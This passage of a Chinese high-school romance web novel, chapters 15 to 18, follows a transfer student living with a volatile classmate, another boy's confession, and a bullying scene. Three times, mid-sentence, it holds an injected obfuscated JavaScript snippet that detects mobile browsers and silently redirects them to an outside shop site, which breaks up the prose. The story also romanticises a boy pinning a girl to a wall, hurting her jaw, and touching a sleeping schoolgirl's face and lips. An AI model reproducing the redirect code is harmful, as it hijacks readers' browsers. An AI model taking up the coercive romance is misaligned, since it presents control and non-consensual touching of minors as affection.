“驰路,你之前也这样对男生的?”谢劲舟冷冽的眼眸里闪过一抹讥笑。 驰路气得用力打开他的手:“我就是这样,怎么了!你不是当不认识我吗,好啊,以后就当陌生人!谁稀罕你送的东西!” 她把塑料袋扔到他身上,里面的消毒水、创口贴掉了,棉签罐的盖子开了,棉签散落一地。 驰路又把手中的创口贴撕掉扔了,还想撩开裤腿去撕时,只见谢劲舟拽住她的手腕,手上使了力,让她无法动弹。 “谢劲舟,你放开我!”驰路瞪他,“是,我活该!我活该去帮许婉!以后我去管谁,都不关你的事!” 谢劲舟把她用力地按到身后的墙上,单手捏住她的下巴,把她捏疼了,他也没松开,眼里爆出戾气。 “松手!”驰路一把甩开他的手,随即被他钳制住。 谢劲舟很快又掌握主动权,捏住她的下巴,眼睛直直地锁着她,像一把镣铐,要将她牢牢锁住。 驰路挣扎着,想从他的掌心逃脱,却无果。 下巴被捏疼了,疼得眼睛里浮出一点晶莹的水光,烟嗓也泛了些哑:“你疯了吗,谢劲舟,松手!” 刚想抬腿踢他,他退开一步说:“驰路,你给我记住了,你只能我关照!” 少年的眼里,迸发出张狂和嚣张。 似一把利刃,要将她的灵魂穿透。 他就这样,史无前例地将自己的情感赤裸裸地撕开给一个人看,带着不可抗拒的肆意占有。 “舟爷,你干什么呢?”跑到天台的罗子昂看到这一幕,一把将谢劲舟拉开,“老马有事喊你。” 谢劲舟眼里还有没有褪去的戾气,定定地看着驰路。 谢劲舟走后,罗子昂问驰路发生了什么,驰路什么都不想说,靠着墙喘气。 她觉得谢劲舟真是有神经病! 罗子昂小声跟她说:“驰妹,你别惹舟哥生气。” “惹他生气会怎样?” “后果会很严重,早上不是见识过。” “他就是条疯狗,逮谁咬谁。” “驰妹,你别这样说舟爷。” “难道我说错了吗?”驰路心里奔涌着无处发泄的怒火,“你刚才不都看到了,他那样欺负我!” “怎么说呢……”罗子昂一副想说又不想说的样子。 “要上课了,不说我走了。”驰路见他磨磨唧唧的样子,抬脚准备走。 “一定要保守秘密,千万别说是我说的。” “嗯。” “舟哥这么暴躁,还真是有病。”罗子昂扫视天台一圈,确定没人,放低声音,“他有双相情感障碍,高一得的,现在的症状比之前轻多了,但没完全好。” * 双相情感障碍是什么病?这是驰路第一次听到,拿出手机搜,是一种精神疾病,有躁狂期,也有抑郁期。 抑郁?她倒是没在他身上看到,他躁狂的时候倒是挺多。 所以,他很难控制自己的情绪,别人要是碰触到他的某个在乎的点,他就会狂躁?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560732|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她想起早上他对待那女生的凶狠,想起他刚才捏自己下巴时的狠戾。 他像一头凶猛的野兽,肆无忌惮地释放着自己最原始的本能。 驰路还是把消毒水、创口贴捡起来了,棉签全都粘上了灰尘,没法用了,她也捡起来,装进了罐子里。 …… 剩下来的两节课谢劲舟都没来,教室里的热闹不减,并不会因为一个人的缺席而发生变化。 中午,许婉喊她去食堂吃饭,她腿疼,想着能少走路就少走路,没去,让许婉帮她去学校超市买点面包酸奶。 教室里只剩下驰路,她埋头刷数学题,正想着这道题是选A还是选C时,左侧传来温和的男声:“C”。 同一时间,驰路在C选项上划了个勾。 她抬头去看,是江迟。 江迟把一个塑料袋放驰路桌上:“我跟许婉说了,我去买,不知道是不是你喜欢的。” 驰路打开一看,不是什么面包酸奶,而是盒饭,她打开盒饭,分了几格,三菜一米饭,有红烧排骨、糖醋里脊、西兰花,荤素搭配,都是她爱吃的。 驰路问:“超市买的?” “先去食堂买盒饭,再去超市买酸奶、饮料。”江迟拿出酸奶、饮料放到驰路桌上。 “怎么这么快?” “问老师借的自行车。” 驰路看着满头大汗的江迟,拿出一张纸巾给他:“谢了。擦擦汗吧。” 他们并排吃着盒饭,驰路想起了谢劲舟发着狠跟她说的“驰路,你给我记住了,你只能我关照!”。 他到底对自己是怀着怎样的占有欲,才会说出这种话? 要是被他看到江迟如此关照她,是不是又要发疯了? 她朝门边的位置看去,空荡荡的,桌上也是空的,连书都懒得放。 “驰路。” “嗯?”驰路正咬着一块排骨。 “你知道我是因为你,才来这里的吧?” 驰路抬头看江迟,发现他根本没吃,连饭盒都没打开。 “知道。”驰路回答得坦然。 “其实,我从初一就关注你了。” 初一?初一的她,还是不知道打扮的土小孩,为什么会关注她?男生不是很多都关注高颜值的女生吗?驰路用不解的眼神看江迟。 江迟继续说:“开学没多久,安排了一场语文随堂测试,我考了95分,分数出来后,被我爸狠狠骂了一通。我吃完晚饭出去散心,没想到下起了一场暴雨,我在暴雨里走了很久,最后走不动了,就找了个有遮挡的公交站站台坐下,雨水还是拼命地打在我身上。我看着来了一辆公交车,又走了一辆公交车,等车的人那么多,每个人都打着伞,却没有一个人为我挡雨。直到你出现了,你笑着看我说,‘傻不傻啊你,淋雨伤害的是自己’。你坐在我身边,说了很多安慰我的话,有句话一直记得,你说,‘没人为我们撑伞的时候,要自己替自己撑伞’。” 经江迟一提,好像是有这么一件事,过了五年,已经成为她记忆中非常模糊的一个影像,几乎要在过往的长河里消失。 “这都多少年了,你还记得啊。” “每次想起那场雨,想起你跟我说的话,不论别人怎么说我,我有了自己去消化的能力。是你,给了我力量。” “不至于吧。”驰路从来没想过,自己那个小小的举动,竟然会给江迟带来那么深的影响。 这几年,她冷眼旁观过不少事,来找她的基本都是闹事的。 老爸的暴富,是给她带来了优渥的生活条件,但也滋长了她肆意妄为的幼苗。 她几乎都忘了,原来,曾过着普通日子的她,也那么善良过。 江迟看着驰路,眸光温柔:“驰路,我从来没有忘记你。” 驰路夹了块西兰花,抬头看他一眼:“所以?” “我打算追你,从现在开始。” 驰路正嚼着西兰花,忽然被呛到,咳嗽了好几下才止住,用不可思议的眼神望着江迟。 江迟目光诚恳:“驰路,我是认真的。” 16. 梦游到床上 「活着,是一场没有目的地的漂泊。 我遇到了一缕熨帖的风,想要一起在宇宙中流动。」 ——《孤舟难行》 天之骄子为爱转学,脱离了父母的控制,所以,就可以如此胆大妄为地追人? “驰路,你好有魅力,转校第一天,就有人跟你表白。” 两人齐齐抬头,是吃完饭回来的许婉。 驰路只看了眼许婉,随即看向江迟:“江迟,我不喜欢你,你不用追我。” 不喜欢一个人就要干脆利落地拒绝,这是她的本能。 她拒绝过很多人,江迟不过就是这很多人中的其中一个,算不了什么。 后来,许婉给她发微信,说她拒绝得是不是太早了,江迟多帅、多温柔,校草级别的,这样的男生到哪里找。 她回许婉:他很好,但我不想要。 就像摆在橱窗里的一件华服,上面镶嵌着无数钻石,好看又闪耀,但不管你看多少次,都不会心动。 既然不会心动,又何必去购买? * 芳町三中住宿生上晚自习要到晚上十点,走读生上到八点十分。 上完晚自习,许婉陪驰路回去,看到她走路时的样子终于不一瘸不拐了,只是走得有些慢:“驰路,你脚踝还疼吗?” “没那么疼了。”这天,除了去卫生间,驰路基本没怎么走动,充分让脚踝得到休息。 夜色深浓,路灯亮起,灯光透过树杈,在地面投下斑驳的树影。 驰路走到路边找自己的自行车,找了一圈都没找到。 许婉:“是放这里的吗?” “就是放这里的。”驰路看着面前稀稀拉拉摆放着的自行车,心里有些烦躁。 “会不会有人看是新自行车,又比较贵,所以……”许婉说,“被人偷了?” “可能吧。”驰路有些无力地靠到树上,余额不足也就算了,现在连自行车都被人偷了,她明天要走路上学?以她这种走路的速度? “只能再买一辆了。” 再买?怎么买?她没有钱啊! 驰路想到早上许婉被人勒索钱的事:“你呢,明天还走路上学吗?再遇到那帮人怎么办?” “你就别担心我了。”许婉说,“今天乔叔有事没来送我,以后他会每天来接送我的。” “乔叔?” “我家司机。” 原来是位大小姐。 许婉看到路边驶过来一辆车,连忙招手,转头跟驰路说:“驰路,我让乔叔先送你回去。” 为了不让许婉知道自己住在谢劲舟家里,驰路让乔叔开到了巷子外面就下了车。 * 回到栾花巷32号,驰路看到正在院子里纳凉的谢奶奶,正拿着蒲扇扇风。 谢奶奶看到驰路回来了,站起来朝她走过去,笑着说:“阿驰,回来啦!” 走过来笑着迎接她的样子,像极了她的奶奶。 “奶奶。”驰路走过去,从口袋里掏出一样东西握住手心里,“猜猜我给您带了什么?” “奶奶哪里猜得到啊。” 驰路摊开手心,是一个透明的袋子。 “哎呀,奶奶就随口说说,你怎么还真买了啊。”谢奶奶说,“我又不是小孩子了,不吃糖不吃糖。” 袋子里装的是薄荷糖,谢奶奶跟她说过,小时候她喜欢吃薄荷糖,后来只有过年时才能吃到。 她特意让许婉帮忙去买的,谢奶奶说的那种,透明糖纸,浅黄色糖块的老式薄荷糖。 不是什么贵重的礼物,却是她28.9元余额可以支付的谢礼。 “奶奶,有些东西,不一定非要等到过年才吃的,平时也可以买来吃。”驰路打开袋子封口,拿出一块,剥开递给谢奶奶,“啊!”像在喂小孩。 谢奶奶张开嘴,糖块落入口中,清清凉凉的味道倏忽间散开,谢奶奶笑容更深,鱼尾纹、抬头纹齐齐上阵。 驰路看着谢奶奶,发现她好像又老了些,但她笑起来的样子很好看。 谢奶奶发现了不对劲,笑容隐去:“阿驰,你自行车呢?” 驰路并不想让老人家担心:“有一个零部件坏了,我先送去自行车店修了。” 谢奶奶说:“下次坏了别送去自行车店修,小谢就会修。” 他还会修自行车? 驰路刚想提谢劲舟,一个小女生出现在了谢奶奶身旁,睁着她那双幽深的眼眸直勾勾地看她……手里的糖。 她拿出一块,给谢林乔,结果她丝毫不为所动,面无表情地丢出两个字:“喂我。” “……”说话的语气,看人的眼神,跟谢劲舟如出一辙。 当着谢奶奶的面,驰路不想做个教训小孩的凶姐姐,剥了糖递给她,结果,她直接张嘴。 她这是在学刚才她喂谢奶奶的场景啊! 驰路喂完谢林乔,又额外给了她三颗薄荷糖,叮嘱她:“一天最多只能吃一颗。” “知道。”谢林乔跑开了,刚跑了几步,转过身看向驰路,“谢谢姐姐。” 谢奶奶看着谢林乔小小的身影,脸上露出欣慰的笑容:“阿驰啊,小乔她是越来越能接受你了。” 驰路把一袋子薄荷糖给谢奶奶:“奶奶,您也不要多吃。” “好,好。” “奶奶……小谢上学了也回来晚吗?” “他啊。”谢奶奶的面色变得有些沉重,坐到小板凳上,又拉过旁边一张小板凳让驰路坐,“自从他妈去世后,他就回来晚了。” “他在网吧做兼职?”驰路坐了下来。 “也不只是在网吧,还做别的,帮人做室内设计、给摩托车做维修,多呢,哪儿有活儿就去哪儿。”谢奶奶叹口气,“小小年纪,他不应该承担这么多的。要怪啊,就怪我。” “怎么能怪您呢,奶奶。” “怪我生了个浑蛋儿子。” 驰路看到了谢奶奶眼里的无奈。 她想起了几天不回家、一回家就满身酒气的谢鸿运。 驰路写完作业、洗完衣服、洗完澡,谢劲舟都没回来。 她又刷了会儿数学题才睡,时间已过十二点。 * 夜晚的沥青路面上,还亮着灯,有一个穿着深蓝色车服的男生,正在跑道上疾驰,速度快得要飞起来,转弯的时候都没减速,摩托车向下压去,迅速拐弯,不要命地往前开。 到了终点,男生才停下来,拿掉头盔,一阵凉风吹来,吹得他额头两侧的一绺头发往后飞起,脸上已满是汗水。 “小谢,你这是跑多少圈了?”杜浩走过来给谢劲舟递了一根烟,“今天有什么烦心事?” “没。”谢劲舟接过烟,点燃,抽了起来。 “你就别骗浩哥了,你哪次不是心情不好,就我来这儿狂飙车。”杜浩见谢劲舟只狠狠地抽烟,根本没有说的意愿,也没继续问,“你不想说就不说,哥这儿,你想待到什么时候救待到什么时候,这周六,说好了,你也来玩一把,看不赢过那孙子!” “行!”谢劲舟抽完烟跟杜浩说,“谢了,浩哥。” “跟哥客气什么,以后想什么时候来就跟哥打电话,这儿随时欢迎你。” * 谢劲舟回到家,正迈着步子上楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560733|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯,听到二楼传来一阵很轻微的脚步声。 谁起来了? 他继续往上走,走到楼梯平台处,看到了驰路。 没开灯,在黑暗中,驰路披散着头发,穿着白色吊带睡裙。 有点像……女鬼。 这大晚上的,还不睡,是要做什么? 谢劲舟往上走,走到她身前,她像没看到似的,继续往前走,这走了一步,便撞到了他怀里,但她一句话没说。 不是要把自己当陌生人的吗?怎么这么快就要投怀送抱? 谢劲舟勾唇嗤笑,这不是贱是什么? 他刚想讽刺她两句,却没想到,她直接绕过他,往谢林乔的房间走。 她想做什么? 谢劲舟往她身前走,发现她睁着眼,眼珠却一动不动。 他抬手在她眼前挥了几下,她都没有任何动静,依旧往前走。 她这是在……梦游? 谢劲舟是第一次看到处在梦游状态时的驰路,她没穿鞋子,赤脚走着,声音很轻,轻轻地推开了谢林乔的房间门,进了房间,走到谢劲舟的床边,躺到床上,侧身睡去。 这就是她每次爬到他床前的流程? 月光透过窗户,洒进房间,落在她身上,像披了一层柔纱,照得她身上的白色绸缎吊带裙泛着潋滟的光。 此刻的她,哪里像女鬼,分明像极了落入凡尘的仙女。 露出的每寸肌肤都那么光滑皎洁,散开的黑发衬得她的肌肤越发白皙。 唯有背后那只破碎的黑色燕尾蝶在彰显着她的叛逆和不羁。 今天才几点,她就这么着急找自己睡? 谢劲舟一直冷着的脸终于缓和了些,嘴角勾起一抹似有若无的笑意。 * 这次谢劲舟洗澡洗得很快,回到房间,驰路还在,姿势好像有点变化,不似之前那般规整,吊带裙不知何时往上撩了些,露出大腿,再往上,是女生特有的勾人曲线。 月光下的她,宛若一幅精致唯美的油画,对他展示着赤裸裸的诱/惑。 谢劲舟擦完头上的水珠,绕到床另一侧,谢林乔没醒,沉沉地睡着。 他没有立刻躺下来,而是站在床边,望着躺在他床上的驰路。 小小的一张单人床,侧身躺着的她闭着眼,睫毛很长,眼尾微微上挑,右眼眼尾的那颗胭脂痣,在柔和的月光中,显得格外性感。 视线下移,看到她的两只膝盖上都贴着创口贴,是他让罗子昂去买的,上面有可爱的KT猫图案。 不是不稀罕的吗? 谢劲舟勾了勾嘴角。 他生怕弄醒她,小心翼翼地侧身躺在她身旁。 静静地看了驰路一会儿,谢劲舟抬手想去摸她右眼尾的那颗痣,从她的眼尾扫过,粗粝的指腹刮过她细腻的肌肤,一点点地下移,抵达那颗痣的位置才停下。 指腹下是微微的凸起感,跟他想象中的触感差不多,但又很不一样,比他想象中还要好摸。 沿着这颗痣,他大胆地继续顺着她小巧精致的脸部轮廓往下移,视线落在她的鼻尖,又落到她的唇上。 她的唇饱满又性感,那颗小小的唇珠透出几许可爱。 唇上似乎抹了什么,红润润,泛着迷人的光,仿佛水蜜桃,性感得几乎要流出甜汁。 谢劲舟的手渐渐移向她的唇,轻轻地覆上去。 也就一下,怀里的人,忽然动了,她整个人像藤蔓似的,抬腿抬手缠绕着他,将他箍住。 谢劲舟被吓到,覆在她唇上的手指瞬间弹开。 他看着她,看到她那双好看的狐狸眼忽然睁开。 17. 被大姐大欺负 「我不是谁的公主,你也不是谁的骑士。 蝴蝶会独自在暗夜里长出翅膀。」 ——《小蝴蝶的暗夜》 驰路醒了?谢劲舟一动也不动地望着驰路。 他并不希望她醒来,他到底在期待着什么? 驰路弯起唇,带动了狐狸眼,眼睛一弯,浮现笑意。 就在谢劲舟以为驰路要说点什么时,她的嘴角压下去,闭上了眼睛。 谢劲舟提起的心,这才落回去。 她的身体很温软,浑身又散发出馥郁香气,不用细嗅,都能轻易地判别,那是玫瑰香,浓烈香甜,存在感很强,就像她人一样。 她那双细长裸露的长腿正跨在他腿上,胳膊环着他劲瘦的腰,手贴着他的后背。 许是在空调房待久了,她身上凉凉的,像冰镇的饮料。 在这个寂静的深浓的夏日夜晚里,属于男生特有的荷尔蒙气息大涨,谢劲舟的身体越发燥热,风扇吹出的热风更让他添了燥意。 他下意识地想要扯衣领,却发现自己光着上身。 要命!她这是想活活耗死自己吗? 是因为热血方刚的年纪,还是因为怀里的这个人是驰路,所以,他浑身的血液都在沸腾? 他不清楚,但他急需把身上的火给降下去。 他去卫生间解决了才回来,房间门开着,他那张窄窄的单人床上空荡荡的。 他的心,好像也一下子空了,像弄丢了什么。 * 昨晚驰路把两套校服都洗了,到阳台一看,都还没干。 不穿校服,要扣纪律分?扣就扣吧,不在乎这一天。 驰路套了件白色T恤、牛仔裤下了楼,楼下只有忙碌的谢奶奶:“阿驰,起来啦,我去给你盛粥。” 驰路想往厨房走:“我来吧。” 谢奶奶拦住她:“你坐这儿,奶奶弄。” 驰路望着谢奶奶佝偻的背影,暗自想,如果谢奶奶的背不驼的话,会是气质型美人。 早餐很简单,小米粥、茶叶蛋、馒头,都是谢奶奶亲自做的,味道很好。 驰路正吃着,听到谢奶奶站在楼下,扯着嗓门喊:“小谢,起床!” 楼上没有动静,谢奶奶又喊,还是没有动静,谢奶奶继续喊,楼上像是传来扔东西的声音。 “这小子,还不起来!”谢奶奶干脆上了楼,把戴着耳机还想睡的谢劲舟从床上拽了起来。 “奶奶,干吗?我再睡会儿。”谢劲舟又往床上倒去,平时这个点,他压根没起,谢奶奶也不会来喊他,今天是怎么回事?是希望他做个不迟到的好学生? “阿驰的自行车坏了,拿去修了,你早点起,跟阿驰一起去上学。” “奶奶,你要我送她?”谢劲舟揉了揉睡得炸起的头发。 “不愿意啊?”谢奶奶沉下脸。 “好,我送。”姑且当做她昨晚陪睡的奖励吧。 谢劲舟收拾完下楼吃饭,看到驰路正倚着门看书。 好学生都这么认真?一大早就看书? 这跟昨晚妩媚动人的她,判若两人。 谢劲舟见她没穿校服问:“不是有校服,怎么不穿?”当个好学生怎么没有配套齐全? 好学生从文言文中抽离出来,抬头,看谢劲舟:“没干。” 他额前的头发有些湿,一看就是被水压过,但还有几根短发翘着,像炸毛犬似的。 “你等我下,待会儿我送你去学校。” 驰路朝他露出一丝讥讽的笑:“小谢同学,又认识我了?” 谢劲舟冷冷一笑:“陌生人都跟我说话了,怎么也要给陌生人点面子。” 这人不还击就没法活了吗?小心眼!小气鬼! 驰路懒得再跟他说,继续看她的文言文,边看边背,背了大半,有人拍了下她的肩膀:“走了。” 走到外面的车棚,驰路在车棚门口等着,看到谢劲舟推出来一辆深蓝色摩托车。 罗子昂跟她普及过,这辆摩托车是谢劲舟的超级宝贝,谁都不能碰,哪个女生都没带过,说是要留给未来女朋友的。 “你骑摩托车送我去学校?” “要不然呢?” 谢劲舟朝她扔过去一个头盔,大概是给谢林乔买的,粉红色的,她戴着刚好。 驰路戴上头盔,想要扣扣子的手一顿,朝谢劲舟眯了下眼:“听罗刺猬说,后座是留给未来女朋友的?” 谢劲舟薄薄的眼皮一掀:“你要当我女朋友?” “白日做梦!”驰路瞪他一眼,心里暗忖,谁当他女朋友谁有病! 她扣扣子,却怎么也扣不上,面前的男生用看好戏的眼神看她,丝毫没有要帮忙的意思。 驰路急了:“不会来帮下忙?” 谢劲舟依然不为所动:“是你这样让人帮忙的吗?” 驰路不得不放柔了声音,露出一抹假笑:“小谢同学,麻烦帮我扣下。” 谢劲舟剑眉一皱:“叫我什么?” 驰路咬牙笑:“舟哥。” 这笑容在谢劲舟看来,不情不愿,又千娇百媚。 他这才朝她走了一步,帮她扣扣子。 驰路用唇语说着“矫情”,也不知道有没有被他看到。 她坐上车,还在想要扶着哪儿时,他踩了油门,就往外冲去,身体出于惯性,往前一扑,直接撞到他结实的后背,吓得她不得不抓住他的腰。 她紧紧地贴着他,耳边呼啸着清晨的风,隐约闻到了花草香,还有他身上的清新皂香。 第一次有人这么抓他的腰,谢劲舟不习惯:“你抱老子这么紧干吗?” 摩托车的轰鸣声压过了他的声音,驰路听不见:“什么?” 谢劲舟提高了声音:“你别动什么歪心思。” “……”驰路望着放在他腰间的手,好像是抓得太紧了,刚想松开,忽然起了玩心,干脆双手环住他的腰,声音娇滴滴地说:“舟哥,你开车好快,我怕。” 谢劲舟像是没听到一样,加大了马力,摩托车像一把离弦的箭,疾驰在小巷中。 这人是故意的吧! * 谢劲舟把驰路送到了学校旁边的一条街便停了下来。 驰路没下车:“怎么不开了?” “下吧。” “没到,不下。” 谢劲舟二话不说转身就去解驰路头盔的扣子,驰路抓住了他的手:“要送就送全程。” “以为自己是公主?”谢劲舟冷笑,“把我当你的骑士?” “你当一回骑士又怎么了。” “老子不做任何人的骑士,下车!”谢劲舟用力拨开她的手,解开了头盔扣子,把头盔拿了下来。 驰路没有立刻下车,而是稳稳地坐着,挑了挑妩媚的狐狸眼:“谢劲舟,你这是怕别人误会我和你的关系?怕影响你的桃花运?” 谢劲舟朝她凑过去一点,盯着她的眼睛:“驰路,不管被谁误会,我都不缺女人!” 语气嚣张狂妄,好像全世界的女人都围绕他转似的。 也许,在这个小小的芳町镇,谢劲舟就有这样的魅力吧,以他的高颜值绝对能虏获一波前仆后继的女生。 驰路最终还是下了车,她有点怕自己再不下车,会被他扛下去。 * 许婉昨天跟驰路说了些关于芳町三中的一些教导主任发言时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560734|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有提到的事项,其中有一条是,纪律委员也不是天天站在校门口查岗,会不定时抽查,给学生打个措手不及。 纪律委员长什么样,她昨天并没有看清,今天也没有把这事放在心上。 刚走到门卫处,便被人拦下来,问她为什么没穿校服,问她几班的、叫什么。 她这才知道自己被纪律委员逮了个正着,她跟纪律委员解释,她是转校生,校服洗了没干,不是故意不穿的,依然没有说服纪律委员,成功地被记了分。 “这不是我们班的转校生吗。” 驰路一转头,看到说话的是他们班昨天嫉妒她的矮个女生,她旁边站着高个女生。 “昨天不穿校服就算了,今天还不穿校服,有没有有点集体荣誉感啊!”高个女生满脸不满。 “我穿不穿校服,关你什么事!”驰路扬起下巴,高傲地平视高个女生,“有本事你去管管谢劲舟,让他知道下什么叫集体荣誉感。” 高个女生顿时脸煞白,大概没想到驰路会有胆量这样跟她说话。 驰路并不想跟她纠缠下去,迈着轻快的步子,甩着马尾辫,留给她们一抹潇洒的背影。 她听到她们还在说着什么,都是些不入耳的话。 有什么关系呢,她没时间跟她们勾心斗角,她要去拥抱语数英,要去征服数理化。 但这事并没有就此结束,早读课时,驰路正背诵课文,却发现有人在她背后写着什么,立马转身,一看是高个女生,沉下脸:“你干什么?” “给没有集体荣誉感的人送份大礼。”高个女生指使旁边两个男生,“抓住她的手,别让她动。” 这时,教室里的人还没来全,驰路认识的几个人都没来,剩下的都是她连名字都叫不出来的陌生同学。 她知道,没人会帮她。 人擅长做旁观者,做看热闹的人,却很少有愿意做出头鸟。 她的胳膊被两个男生分别抓住,她甩都甩不开,见准时机想要去踩两个男生的脚,忽然停住。 她打算什么都不做,她倒要看看,他们能玩出什么新花样。 高个女生得意地笑,开始在她后背上写着什么。 明明只有几行字,驰路却觉得她写了很久。 写完,有好事的男生读了出来:“我是驰路,没穿校服,我有罪!!” 黑色马克笔写在白色T恤上,格外清晰。 最后三个字,像朝驰路胸口重重砸去一块巨石。 刚才,她脑中想过很多高个女生要写的句子,但她没想到会有这句。 她眼里冒出怒火,瞪向高个女生。 高个女生仗着人多,丝毫不畏惧,嘲讽地笑道:“哎哟,瞪人的样子好吓人哦,我好怕怕。” “黎姐,够了吧。我们回去吧。”矮个女生说。 “你不是爱读书吗。”黎静说,“我让你读,我让你背。” 她从驰路桌上一把拿过语文课本,一张一张地撕。 其他同学,全是看客,围观这场难得的好戏。 有想上前来劝说的,却被其他同学拦住,谁都不想惹事。 驰路听到有人说:“要是班长在就好了。” 许婉告诉过她,班长是季峰,老好人,热心肠,谁有难就去帮。 怪她来早了,她成了孤立无援的孤岛。 课本一张张被黎静撕下,揉成一团,像扔垃圾一样地扔掉。 驰路咬着牙根,想从她手里夺过课本,这时,有一双手在她前面夺过去。 她看到了拿着课本的那双手,瘦削的,每根骨节都很分明,手背上露出根根青筋。 这是一双修长、白皙的手,好看,熟悉。 18. 戏精小蝴蝶上线 「我还没领悟世间的一切道理,也不是什么好人。 但这并不妨碍我做你的救世主。」 ——《孤舟难行》 夏日的风阵阵吹来,热热的。 头顶悬着的风扇,呼呼地转着。 孤岛难存,却也能遇见灯塔。 这座灯塔,不是别人,是昨天扬言要追她的江迟。 江迟一向不动怒,待人温文有礼。 这是驰路第一次看到他动了怒,看着黎静的眼睛里似乎冒出了火。 江迟问:“你们在做什么?” “江迟,这不关你的事,你最好别管。” 黎静根本不在意他,还想从驰路桌上拿英语课本,却被江迟一把抓住胳膊:“驰路的事,就是我的事。” 黎静笑:“哟,这么快就被这个小妖精把魂儿勾走了啊。” 驰路的余光看到有同学陆续从后门进来,其中有快活的罗子昂、沉闷的秦深,还有冰块脸的谢劲舟。 谢劲舟往她这里看了一眼,那眼神里有着不知道哪儿来的不满和戾气。 江迟:“你们走不走?” 黎静:“我们要是不走呢?” “我去找班主任。” “去啊。”黎静看着江迟,“驰路勾引了你,你们在早恋,要是被马三拍知道了,你知道会怎么样吗?还会让你坐她旁边吗?” 江迟哪里想到黎静会出这一招,面色铁青:“你别颠倒黑白。” “难道我说的是假的吗?”黎静说,“你跟驰路要是没在谈恋爱,你会这么维护她?” 这是越描越黑了! 驰路感受到一道冷冽的目光,朝这道目光看去,直直地对上谢劲舟幽深的眼眸。 眼眸似潭,里面装着晦暗不明的情绪,冷得似乎能将人冻住。 “黎姐,班长来了,咱们回座位。”矮个女生说。 黎静这才松了手,狠狠地将她的英语课本甩掉,凑近驰路,在她耳边小声说:“驰路,你可以喜欢任何人,但不可以喜欢谢劲舟!” 驰路算是明白了,什么没穿校服,没有集体荣誉感,都是黎静找的借口。 她变着法儿地整她,是不希望她喜欢谢劲舟。 不过,她怎么知道,她会喜欢谢劲舟,难道她看到了什么? 驰路想到了早上谢劲舟送自己上学,虽然在学校附近就把她放下来了,但附近多的是芳町三中的学生,说不定黎静就在里面,看到她坐在他摩托车上了? 应该是看到了,要不然她也不会这样针对她。 她不由得感慨,朝谢劲舟前仆后继的女生们,一个个都不是什么善茬。 黎静那帮人各自回到了座位,驰路也坐了下来,这一坐里面有人惊呼:“我艹,这是谁写的?” 驰路听出来是,这个有些哑的公鸭嗓是罗子昂的。 她没有去看罗子昂,却感到右后方射来锋利的目光,似要将她看穿。 她听到罗子昂在小声说:“舟爷,这你都不管?” 驰路佯装整理桌上的书,微微侧头,视线瞟到谢劲舟,他无动于衷地埋头玩手机。 半晌,听到他用冷冽的声音说:“关我屁事!” 这是当不认识她了? 同住一个屋檐下的校霸,真是冷漠无情! * 上完早读课,江迟跟驰路说:“要不要我帮你把后面的字划掉,虽然会难看,但……会比现在好。” “不用。”驰路说。 她下课没去找班长,而是直接去了老马的办公室。 老马正埋头写教案,直到驰路叫他,他才发现身旁站了个人。 他一抬头,看到了蓬头垢面的驰路,脸上沾了泥土,惊讶道:“驰路,你这是怎么了?跟人打架了?” 驰路委屈巴巴地看着老马,那双狐狸眼耷拉着,眼里满是水光,哪里还有平日里的光彩和气焰,完全是一幅被人欺负了的可怜模样。 老马给她拉过来一把椅子让她坐下,安慰她:“怎么了,跟老师说说。” 驰路没坐下来,而是转过身。 老马看到了她后背那些侮辱的字眼,气得立马拍案而起:“这是谁干的?” 驰路看到了老马脸上的正义,这才坐下来,悬在眼眶里的眼泪啪嗒掉下来,落在她乖乖放在腿上的手背上。 初中叛逆期,这样的把戏在老师面前用过,起初还管用,但次数多了,没有一个老师相信她。 她的那些狐朋狗友笑称她是表演界天后、伪装界扛把子,也有人在背后骂她是口是心非的蛀虫、两面三刀的垃圾。 她看不见自己的演技,但听她的狐朋狗友说,她在老师面前流下的鳄鱼眼泪是那么真、那么动人。 好久不用了,此时的眼泪看起来也那么真吗? 不管真不真,她继续将苦情戏码演下去,声泪俱下地把黎静她们欺负自己的事告诉了老马,气得老马满脸怒火:“她们这是把学校当什么地方了,竟然这么无法无天!你去把她们叫过来。” 驰路知道自己的戏算是演成功了,收尾部分依然机智:“马老师,我去叫她们,不就会被她们发现是我告状的。” 她抬头看外面,没有黎静那帮人。 老马明白驰路的意思了,要是被她们发现是她告状的,估计还会欺负他,他不可能再让这样的事情发生:“行,老师知道了,你先回去。” * 回到教室的驰路,马尾辫又扎得整整齐齐,脸上也干干净净,只是一张漂亮的脸上神色格外低落,像被浸在水里泡过的果子,湿漉漉的。 她刚走到座位旁,江迟关切地问:“没事吧?” 驰路沉默地摇了摇头。 她要看看老马会怎么教育黎静那帮人。 